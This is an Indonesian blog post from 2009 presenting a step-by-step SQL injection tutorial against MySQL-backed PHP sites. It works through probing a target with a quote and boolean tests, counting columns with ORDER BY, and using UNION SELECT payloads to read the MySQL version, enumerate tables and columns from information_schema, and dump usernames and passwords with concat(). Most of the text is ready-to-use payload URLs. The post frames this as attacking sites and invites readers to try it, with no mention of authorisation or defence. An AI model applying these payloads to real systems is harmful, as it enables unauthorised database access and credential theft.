Monday, August 31, 2009

Tutorial SQL Injection

Tutorial ini saya dapat dari master2 hacking di forum yang membahas tentang hacking..
oke langsung ajah...

SQL injection merupakan teknik yang dilakukan para hacker untuk masuk ke sebuah sistem atau situs dengan memberikan perintah atau query SQL melalui metode GET atau POST memanfaatkan kelemahan sistem di dalam URL web dan mendapatkan akses informasi dari database. Kelemahan sistem di sini bisa berasal dari script atau programnya sendiri atau dari dalam server.(Singkatnya begitu lah..)

berikut adalah langkah2 sql injection :

1. cek vulnerabilitas suatu website

Untuk mengecek apakah suatu site memiliki bug kita dapat menggunakan cara-cara berikut :

a. Letakkan tanda ' pada akhir url address bar.

cth :
http://www.target.com/index.php?pageID=1' (tanda ' diletakkan di belakang url address bar)

Jika muncul error yang mirip seperti :

Warning: “mysql_fetch_array(): supplied argument is not a valid MySQLresult resource in /www/web/contoh.com/news.php on line 99… bla bla bla…”

atau mirip mirip seperti:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”

atau error yang sejenis, itu berarti site bisa kita Attack menggunakan SQL injection.

b. Gunakan Operator Logika.
Anda bisa gunakan operator and,or,dll.

Ex 1 : and 1=1
cth:
http://www.target.com/index.php?pageID=1+AND+1=1/* Return True, artinya jika kita meletakkan operator logika tersebut maka tidak terjadi error alias page berjalan dengan normal.

Ex 2 : and 1=2
cth :
http://www.target.com/index.php?pageID=1+AND+1=2/* Return False, artinya jika kita meletakkan operator logika tersebut maka terjadi error alias page tidak berjalan dengan normal.

Note : jangan lupa letakan tanda /* atau -- di paling blakang URL dan Untuk menggunakan operator logika tergantung dengan kebutuhan yang diperlukan. Selain itu kekreatifitasan kita dituntut disini. Kenapa? karena kadang ketika kita meletakkan operator logika, situs tidak memberi respon apa-apa. Untuk itu, kekreatifitasan anda di perlukan disini. Bagaimana anda membangkitkan error. Hehehehehehe :)

2. Cek Kolom.

Setelah kita mengetahui bahwa suatu site memiliki bug sql injection, maka tahap selanjutnya adalah mengecek kolom yang ada. Untuk mengecek kolom, kita dapat gunakan statement "ORDER By x", dimana x adalah nilai increment dari integer 1,2,...dst. Increment maksudnya adalah lakukan penambahan nilai x sampai ditemukan pesan error seperti "... Unknown Colomn 'x' ...".

cth :
http://www.target.com/index.php?pageID=1+ORDER+BY+1/* ga ada error
http://www.target.com/index.php?pageID=1+ORDER+BY+2/* ga ada error
http://www.target.com/index.php?pageID=1+ORDER+BY+3/* ga ada error
http://www.target.com/index.php?pageID=1+ORDER+BY+4/* ga ada error

Intinya kita naikkan angkanya sampai kita dapatkan Error !!

http://www.target.com/index.php?pageID=1+order+by+5/* error

Note : Kita asumsikan bahwa ketika kita memasukkan nilai 5, maka muncul pesan error "Unknown Colomn '5'", maka kita dapat menarik suatu kesimpulan bahwa kolom yang ada hanya 1,2,3, dan 4.

3. Cek Hole Pada Kolom.

Untuk mengecek di kolom berapa terdapat hole atau kolom yang bermasalah kita bisa gunakan stament " UNION ALL SELECT " atau " UNION SELECT " ,dll.

Note : Ingat!!!jangan lupa menggunakan karakter "-", seperti dibawah ini :

http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,2,3,4/*

Note : Jika di layar halaman setelah loading muncul angka, misal 2 atau 3 atau keduanya. maka kolom tersebut yang bermasalah. Bagaimana cara kita mengetahuinya ? kita bisa lihat pada page, karena kolom yang bermasalah tersebut nantinya akan ditampilkan pada page. Lagi-lagi kejelian mata dan kekreatifitasan kita di butuhkan disini!!!


4. Cek Versi MYSQL.

Tadi dari nomer 3, muncul angka 2 dan 3. Sekarang kita gunakan kolom nomor 2 atau 3 itu untuk mengecek versi MySQL.disini saya menggunakan kolom nomor 2. Mengapa perlu mengecek versi dari MySQL? karena teknik sql injection untuk v 4.xx atau v 5.xx tidak sama. Pada paper ini saya menggunakan v 5.xx.

Untuk mengecek versi mysql kita bisa gunakan statement "@@version,version(),dll" tergantung kebutuhan system.

cth:
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,version(),3,4/*
Hasilnya akan muncul versi MySQL, misal versi 5.0 atau versi 5.x.x

klo tidak mucul coba pake :

http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,@@version,3,4/*

atau

http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,convert(@@version+using+latin1),3,4/*

atau

http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,unhex(hex(@@version)),3,4/*


5. Cek Tabel dan Kolom.

a. Cek Tabel.

Untuk mengecek tabel gunakan statement berikut : " information_schema.tables + table_name "
cth :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3,4+from+information_schema.tables/*


Note : Jika page tidak meload informasi tabel, gunakan convert() atau unhex(hex()) atau lainnya. - Gunakan statement Limit untuk mengekstrak tabel yang ada.

cth :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,table_name,3,4+from+information_schema.tables+limit+1,1/* <=== Lakukan increment pada angka 1,1 sampai kita temukan informasi tabel yang berguna, seperti user,username,admin,administrator,dll

b. Cek Kolom Cara pengecekan kolom hampir sama dengan pengecekan tabel, hanya saja pada pengecekan kolom kita gunakan statement berikut : " information_schema.columns ... column_name ... "

cth :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3,4+from+information_schema.columns/*

Note : Gunakan Statment Limit untuk mengekstrak kolom-kolom yang ada.

Tips : Untuk mengekstrak kolom pada tabel tertentu kita bisa gunakan statement berikut :

cth: http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,column_name,3,4+from+information_schema.columns+where+table_name='user'/* <=== kita asumsikan kita telah mengetahui bahwa terdapat tabel user.

Note : Seperti biasa untuk mengekstrak kolom-kolom tersebut kita gunakan statement LIMIT.

6. Get Value of Colomn.

Setelah kita ketahui nama-nama kolom yang ada pada table, maka langkah selanjutnya adalah mengekstrak nilai-nilai tersebut. Untuk mengekstrak nilai tersebut kita bisa melakukannya secara satu persatu dan atau secara keseluruhan atau bersamaan.

Note : Asumsikan bahwa kita mengetahui bahwa table user memiliki kolom 'username' dan 'password'.

a. Secara satu per satu.

cth:
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,username,3,4+from+user/*

cth :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,password,3,4+from+user/*

b. Secara keseluruhan atau bersamaan. Gunakan statement concat() atau concat_ws()

cth :
http://www.target.com/index.php?pageID=-1+UNION+ALL+SELECT+1,concat(username,0x3a,password),3,4+from+user/* <=== 0x3a adalah hexa dari karakter ' : '

Note : Jika anda ingin mengetahui lebih jelas mengenai tutorial ini silahkan lihat video tutorialnya bisa anda download di sini http://www.ziddu.com/download/6295229/SqlInjectionVideo.rar.html

selamat mencoba....

0 comments:

Post a Comment